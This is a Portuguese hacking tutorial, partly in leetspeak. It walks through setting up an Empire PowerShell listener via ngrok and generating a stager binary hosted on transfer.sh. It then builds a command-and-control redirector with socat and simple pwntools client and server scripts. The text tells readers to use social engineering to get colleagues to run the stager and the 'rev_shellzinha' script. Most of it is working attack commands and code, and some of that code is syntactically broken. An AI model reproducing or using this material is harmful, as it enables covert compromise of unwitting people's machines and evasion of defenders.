Brincando com o Empire Powershell

por: xxxxxx

```
284 modules currently loaded

0 listeners currently active

0 agents currently active
```

Demo Empire

~ $ cat intro.nx

baixe o ngrok: https://ngrok.com/
crie uma conta e autentifique

~ $ ./ngrok http 8080

~ $ cat empire_0.nx

b41x3 0 3mp1r3 p0w3rsh3ll: https://github.com/EmpireProject/Empire

d3p01s d3 1nst4l4r, c0nf1gur4r 0 3mp1r3 v4m0s cr14r um b1n4r10(pr4 l1nux syst3ms) pr4 v0c3 m4nd4r pr0s c0l3g4s h4ck3r

~ $ sudo ./empire

(**Empire**) > listeners
[!] No listeners currently active
(**Empire**: listeners) > uselistener http
(**Empire**: listeners/http) > set Name ngrok
(**Empire**: listeners/http) > set Host https://suaurl.ngrok.io
(**Empire**: listeners/http) > set Port 80
(**Empire**: listeners/http) > execute
[*] Starting listener 'ngrok'
[+] Listener successfully started!
(**Empire**: listeners/http) > back
(**Empire**: listeners) > back
(**Empire**) > usestager multi/pyinstaller
(**Empire**: stager/multi/pyinstaller) > set Listener ngrok
(**Empire**: stager/multi/pyinstaller) > set BinaryFile /tmp/hacktheplanet
(**Empire**: stager/multi/pyinstaller) > execute
(**Empire**) > listeners

[*] Active listeners:

Name	Module	Host	Delay/Jitter	KillDate
ngrok	http	https://52041767.ngrok.io:80	5/0.0	

(**Empire**: listeners) > kill ngrok
[!] Killing listener 'ngrok'

(**Empire**: listeners) > uselistener http
(**Empire**: listeners/http) > set Name local
(**Empire**: listeners/http) > set Host http://127.0.0.1
(**Empire**: listeners/http) > set Port 8080
(**Empire**: listeners/http) > execute

~ $ cat hackeando_os_colegas.nx
[use engenharia social] e mande o stager gerado pro col3g4.
Vou salvar ele no tranfer.sh como exemplo:

~ $ cd /tmp
~ $ curl --upload-file ./hacktheplanet https://transfer.sh/hacktheplanet
https://transfer.sh/[id]/hacktheplanet

Conceito de c&c redirector

por: xxxxxx

~ $ cat intro_01.nx
Conceito de um command & control redirector
- é uma box[servidor, maquina infectada, etc] que redireciona o tráfego que recebe para outro lugar, no caso um servidor command & control
- é utilizada para proteger o c&c
- são servidores temporarios, podem ter seu ip/host bloqueado pela blue team do seu alvo enquanto o c&c fica "escondido"

Obs.: estarei usando ips aleatorios, voce pode mudar os valores pra testar ai na sua maquina

~ $ cat basic_cc.py
```
#!/bin/python

from pwn import *

def runCC():
    while True:
        listener = listen(port=1337)
        connection = listener.wait_for_connection()
        print(connection.recv())
        print("\n waiting new one")

runCC()
```

~ $ cat rev_shellzinha.py
```
#!/bin/python

from pwn import *
import time

def createCon(host, port, data):
    count = 0
    while True:
        data = data
        count = count + 1
        send = remote(host, port)
        data = str(count) + " ----- " + data
```

```
                send.send(data)
                time.sleep(40)

createCon(31.41.59.26, 80, 'Hello W0r1d!')


~ $ cat middle_01.nx
basic_cc.py => um simples servidor q recebe conexoes e mostra os dados recebidos
rev_shellzinha.py => um script q conecta ao servidor redirector

        Agora irei me conectar a box que usarei como redirector(ou seja, a shell vai conectar nela e
ela redireciona o trafego pro nosso atual command&control server)

~ $ ssh u1@31.41.59.26

u1@box ~ $ cat middle_02.nx
                install socat: http://www.dest-unreach.org/socat/download/

                para redirecionar usarei o socat, na sintaxe:
                        socat TCP-LISTEN:<listening_port>, fork TCP:<c&c_host>:<c&c_port>
                para deixar o processo em background:
                        nohup <comando> &

u1@box ~ $ nohup socat TCP-LISTEN:80, fork TCP:12.35.81.32:1337 &
u1@box ~$ exit


~ $ cat end.nx
Bom, com cada coisa em seu lugar >
        i) rode o basic_cc.py no servidor de comando e controle
        ii) envie a rev_shellzinha.py pro seu colega testar
Lembrando que o conceito pode ser usada em qualquer situacao, até com o Empire
```